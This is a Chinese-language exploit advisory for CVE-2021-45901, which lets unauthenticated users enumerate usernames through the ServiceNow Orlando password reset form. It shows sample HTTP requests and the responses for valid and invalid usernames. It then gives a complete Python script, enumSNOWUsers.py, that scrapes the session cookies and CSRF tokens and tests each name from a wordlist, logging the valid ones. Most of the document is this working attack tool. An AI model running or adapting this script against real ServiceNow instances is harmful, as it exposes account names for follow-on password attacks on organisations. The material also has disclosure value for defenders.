
enumSNOWUsers.py - SNOW 用户枚举器
ServiceNow 应用程序中发现的用户名枚举漏洞
发布:版本 1.0
厂商:ServiceNow
产品:ServiceNow (https://www.servicenow.com/)
受影响版本:Orlando (glide-orlando-12-11-2019__patch5-06-17-2020)
ServiceNow 是一家美国软件公司,总部位于加利福尼亚州圣克拉拉,开发云计算平台,帮助企业管理企业运营的数字工作流。
用户名枚举(未认证)
CVE:CVE-2021-45901
CWE:CWE-200:敏感信息暴露给未授权行为者
在 ServiceNow (Orlando) 中发现的漏洞允许使用单词列表成功枚举用户名。利用未认证的会话并导航到密码重置表单,可以推断出有效用户名。这是通过检查密码重置 Web 表单最初触发的 HTTP POST 响应数据实现的。该响应根据用户名是否存在而有所不同。
注意:为了自动化此过程,需要有效的会话 Cookie (JSESSIONID)、CSRF Token (pwd_csrf_token) 和 X-UserToken (X-UserToken)。所有这些对象都可以从客户端代码中恢复。
CWE-203:可观察差异
以下说明了 HTTP 响应 POST 数据中的可观察差异,用于推断有效用户名与无效用户名。
请求
POST /$pwd_reset.do?sysparm_url=ss_default HTTP/1.1
Host: <IP>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-type: application/x-www-form-urlencoded; charset=UTF-8
X-UserToken: <UserToken>
Content-Length: 421
Origin: https://<IP>/
Connection: keep-alive
Cookie: glide_user_route=glide.da<redacted>; JSESSIONID=<redacted>;__CJ_g_startTime='<time>'
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sysparm_processor=PwdAjaxVerifyIdentity&sysparm_scope=global&sysparm_want_session_messages=true&sysparm_name=verifyIdentity&sysparm_process_id=<redacted>&sysparm_processor_id_0=<redacted>&sysparm_user_id_0=admin&sysparm_identification_number=1&sysparm_pwd_csrf_token=<redacted>&ni.nolog.x_referer=ignore&x_referer=%24pwd_reset.do%3Fsysparm_url%3Dss_default
响应(有效用户名)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: f7ca428075d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1227
X-TRANSACTION-TIME: 0:00:01.227
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 05:59:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="200" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
响应(无效用户名)
HTTP/1.1 200 OK
Set-Cookie: glide_user=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
Set-Cookie: glide_user_session=""; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/; HttpOnly
X-Is-Logged-In: false
X-Transaction-ID: 0b83260c75d6
Pragma: no-store,no-cache
Cache-Control: no-cache,no-store,must-revalidate,max-age=-1
Expires: 0
X-Frame-Options: SAMEORIGIN
Content-Encoding: gzip
X-TRANSACTION-TIME-MS: 1076
X-TRANSACTION-TIME: 0:00:01.076
Content-Type: text/xml
Transfer-Encoding: chunked
Date: Thu, 26 Aug 2021 06:10:41 GMT
Server: <redacted>
<?xml version="1.0" encoding="UTF-8"?>
<xml answer="500" sysparm_max="15" sysparm_name="verifyIdentity" sysparm_processor="PwdAjaxVerifyIdentity">
<security message="" pwd_csrf_token="<redacted>" status="ok"/>
</xml>
升级到 "Rome"
#!/usr/local/bin/python3
# 作者:Victor Hanna (Exploit Security)
# SNOW 用户枚举脚本
# 需要有效的
1. JSESSION(匿名)
2. X-UserToken
3. CSRF Token
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| 作者:Victor Hanna (9lyph)["+Fore.RED + "Exploit Security" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| 描述:SNOW 用户名枚举器 |")
print ("| 用法:"+sys.argv[0]+" |")
print ("| 前置条件:'users.txt' 需要包含用户列表 |")
print ("[+]********************************************************************************[+]")
def main():
os.system('clear')
banner()
proxies = {
"http":"http://127.0.0.1:8080/",
"https":"http://127.0.0.1:8080/"
}
url = "http://<redacted>/"
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, timeout=10, verify=False, proxies=proxies)
JSESSIONID = r.cookies["JSESSIONID"]
glide_user_route = r.cookies["glide_user_route"]
startTime = (str(time.time_ns()))
# print (startTime[:-6])
except requests.exceptions.Timeout:
print ("[!] 连接主机超时!")
sys.exit(1)
with open ("users.txt", "r") as f:
usernames = f.readlines()
print (f"[+] 正在暴力破解 ....")
for users in usernames:
url = "http://<redacted>/$pwd_reset.do?sysparm_url=ss_default"
headers1 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Cookie": "glide_user_route="+glide_user_route+"; JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime[:-6]+"\'"
}
try:
# s = requests.Session()
# s.verify = False
r = requests.get(url, headers=headers1, timeout=20, verify=False, proxies=proxies)
obj1 = re.findall(r"pwd_csrf_token", r.text)
obj2 = re.findall(r"fireAll\(\"ck_updated\"", r.text)
tokenIndex = (r.text.index(obj1[0]))
startTime2 = (str(time.time_ns()))
# userTokenIndex = (r.text.index(obj2[0]))
# userToken = (r.text[userTokenIndex+23 : userTokenIndex+95])
token = (r.text[tokenIndex+45:tokenIndex+73])
url = "http://<redacted>/xmlhttp.do"
headers2 = {
"Host": "<redacted>",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Referer": "http://<redacted>/$pwd_reset.do?sysparm_url=ss default",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Content-Length": "786",
"Origin": "http://<redacted>/",
"Connection": "keep-alive",
# "X-UserToken":""+userToken+"",
"Cookie": "glide_user_route="+glide_user_route+";JSESSIONID="+JSESSIONID+"; __CJ_g_startTime=\'"+startTime2[:-6]+"\'"
}
data = {
"sysparm_processor": "PwdAjaxVerifyIdentity",
"sysparm_scope": "global",
"sysparm_want_session_messages": "true",
"sysparm_name":"verifyIdentity",
"sysparm_process_id":"c6b0c20667100200a5a0f3b457415ad5",
"sysparm_processor_id_0":"fb9b36b3bf220100710071a7bf07390b",
"sysparm_user_id_0":""+users.strip()+"",
"sysparm_identification_number":"1",
"sysparam_pwd_csrf_token":""+token+"",
"ni.nolog.x_referer":"ignore",
"x_referer":"$pwd_reset.do?sysparm_url=ss_default"
}
payload_str = urllib.parse.urlencode(data, safe=":+")
except requests.exceptions.Timeout:
print ("[!] 连接主机超时!")
sys.exit(1)
try:
# s = requests.Session()
# s.verify = False
time.sleep(2)
r = requests.post(url, headers=headers2, data=payload_str, timeout=20, verify=False, proxies=proxies)
if "500" in r.text:
print (Fore.RED + f"[-] 无效用户:{users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] 无效用户:{users.strip()}\n" + Style.RESET_ALL)
f.close()
elif "200" in r.text:
print (Fore.GREEN + f"[+] 有效用户:{users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.GREEN + f"[+] 有效用户:{users.strip()}\n" + Style.RESET_ALL)
f.close()
else:
print (Fore.RED + f"[-] 无效用户:{users.strip()}" + Style.RESET_ALL)
f = open("enumeratedUserList.txt", "a+")
f.write(Fore.RED + f"[-] 无效用户:{users.strip()}\n" + Style.RESET_ALL)
f.close()
except KeyboardInterrupt:
sys.exit()
except requests.exceptions.Timeout:
print ("[!] 连接主机超时!")
sys.exit(1)
except Exception as e:
print (Fore.RED + f"无法连接到主机" + Style.RESET_ALL)
if __name__ == "__main__":
main ()
Exploit Security 的 Victor Hanna